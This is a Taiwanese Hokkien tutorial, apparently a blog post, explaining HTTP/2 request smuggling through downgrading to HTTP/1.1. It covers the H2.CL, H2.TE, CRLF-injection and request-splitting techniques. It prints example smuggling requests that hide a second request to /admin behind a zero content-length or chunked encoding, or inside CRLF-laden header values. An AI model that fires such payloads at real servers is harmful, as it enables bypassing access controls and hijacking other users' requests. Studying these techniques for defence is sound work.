頂一擺是簡單講著 HTTP Request Smuggling 這个舊問題,基本上就是佇咧餾 CL.TE 佮 TE.CL 遮的基礎耍法,彼攏是佇咧 HTTP/1.1 發生的代誌。
毋過,咱網路世界變化是遮爾仔緊,代誌絕對袂按呢就收煞。這篇文章,咱就欲來挖一个閣較深的,看覓仔懸級的 request smuggling 攻擊是按怎發生,特別是咱 tsín 主流 HTTP/2,是按怎予這个漏縫生出新的變化,甚至閣較歹紡。
Smuggling 欲攻擊成功的條件,就是予 frontend 佮 backend 兩个對「仝一个 request 到佗位算煞」這件代誌,有無仝的解說。
咱攏知影,HTTP/1.1 會當予人做 request smuggling 的原因,主要是因為 Content-Length
(CL) 佮 Transfer-Encoding
(TE) 這兩个 header 會當予頭前(frontend)佮後壁(backend)的 server 對仝一个 request 的長度有無仝款的解說。
HTTP/2 用全新的 binary frame 機制,逐个 frame 頭前攏會共伊的長度寫予明。照講,這應該會當共這款 smuggling 的問題解決甲離離離,因為長度攏寫予好勢矣,袂有啥物無清無楚的空間。
若按呢,問題會出佇佗位?就是 HTTP/2 降級 (downgrading) 的行為。
現實世界內底,誠濟系統就算講咱外口看著的是 HTTP/2,毋過內面並毋是全部嘛攏用 HTTP/2。定定是前端 server(親像 reverse proxy)看有 HTTP/2,毋過後壁遐的後端 application server 凡勢原仔干焦捌 HTTP/1.1。這个時陣,前端就愛共收著的 HTTP/2 請求翻譯做 HTTP/1.1 的格式,才閣送去予後端。這个「翻譯」的過程若無夠頂真,就是所有問題的起頭。
咱遮前兩个 H2.CL 佮 H2.TE 算是對前一个 HTTP/1.1 的 desync 湠出來的,若是猶無了解,會得去前一篇看覓咧。
照 HTTP/2 的規格(RFC 7540)講,伊的 request 本身是袂使有 content-length
這个 header 佇咧的,因為伊已經有別套算法咧算長短矣。毋過若是有 server 無照起工來做檢查,煞共這个 header 留落來,閣降做 HTTP/1.1,問題就來矣。
前端用 HTTP/2 的機制讀 request,伊知影真正的 request 到佗位就算煞。毋過降級了後,後端是看 HTTP/1.1 的 Content-Length
header。咱若刁工送一个 content-length
是 0 的 request,閣佇 body 遐偷共另外一个 request 覕佇內底,就會發生下跤這款代誌:
咱送出去的 HTTP/2 Request,差不多會生按呢:
頂頭有
:
開頭的才真正是 HTTP/2 的 header,-----...
干焦是做分隔毋是真的資料。
:method POST
:path /example
:authority vulnerable-website.com
:content-type application/x-www-form-urlencoded
:content-length 0
------------------------------------------------------------
POST /admin HTTP/1.1
Host: vulnerable-website.com
前端 server 看著的是,伊會根據 HTTP/2 的 frame 長度,認為這是一个完整的、body 空空的 POST request。
毋過,若共這个 HTTP/1.1 請求降級了後會煞變做按呢:
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
POST /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 10
foo=bar
後端遐看著 Content-Length: 0
,就想講頭一个 POST request 到 \r\n\r\n
就結束矣。紲落來的 POST /admin
就成做另外一个獨立的 request,伊會共後一个來到這个連線的正常使用者 request 的頭前部份敆做伙,造成 smuggling 攻擊。
這个狀況佮 H2.CL 真相𫝛。照理來講,HTTP/2 嘛是無需要 Transfer-Encoding: chunked
的。毋過若 frontend server 無共這个 header 擲掉,直接降級送去予 backend,backend 遐若是有咧處理 chunked encoding,按呢就會出重耽矣。
咱送出去的 HTTP/2 Request,嘛差不多會生按呢:
:method POST
:path /example
:authority vulnerable-website.com
:content-type application/x-www-form-urlencoded
:transfer-encoding chunked
------------------------------------------------------------
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: bar
啊若是轉換了後就會是按呢:
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: aaa.com
Foo: bar
著,其實就是仝款的意思啦。
閣較趣味的一个招數是利用 CRLF (\r\n
) injection。佇 HTTP/1.1 內底,CRLF 代表一个 header 的結束。毋過佇 HTTP/2,因為伊是 binary 的格式,CRLF 就是普通的文字爾爾,袂有啥物特別的意思。
這就予咱一个會當共 CRLF 直接藏佇 header 的值內底:
:method GET
:path /
:authority vulnerable-website.com
foo bar\r\nTransfer-Encoding: chunked
對 HTTP/2 的 front-end server 來講,這干焦是一个正常的 header,伊的名號做 foo
,內容是 bar\r\nTransfer-Encoding: chunked
。
毋過,等到伊降級做 HTTP/1.1 的時陣,代誌就完全無仝款矣:
GET / HTTP/1.1
Host: vulnerable-website.com
Foo: bar
Transfer-Encoding: chunked
Back-end server 會因為 CRLF 的關係,共伊當做是兩个無仝的 header!這就予咱會當共 Transfer-Encoding: chunked
這款正常來講可能會被 front-end 閘掉的 header,偷偷仔送去予 back-end 食。
除了搢一个 header 入去,咱會當閣進一步,來做請求分拆:
:method GET
:path /
:authority vulnerable-website.com
x: y\r\n\r\nGET /resources HTTP/1.1\r\nHost: vulnerable-website.com
按呢後端遐的 HTTP 1.1 就會共伊當做是按呢:
GET / HTTP/1.1
Host: vulnerable-website.com
x: y
GET /resources HTTP/1.1
Host: vulnerable-website.com
因為彼組 \r\n\r\n
,backend server 會認為代先彼个 GET / request
到 x: y
就已經煞矣。尾仔綴的 GET /resources
就變做別个完全獨立的 request,成功予咱走私入去!
咱遮共 HTTP/2 的 smuggling 簡單紹介了矣,咱會發現講終其尾這嘛仝款是「無一致」造成的問題。毋過,HTTP/2 當然毋但按呢爾爾,咱明仔載閣來繼續講會當佇 HTTP/2 變啥物閣較鑠奅的齣頭。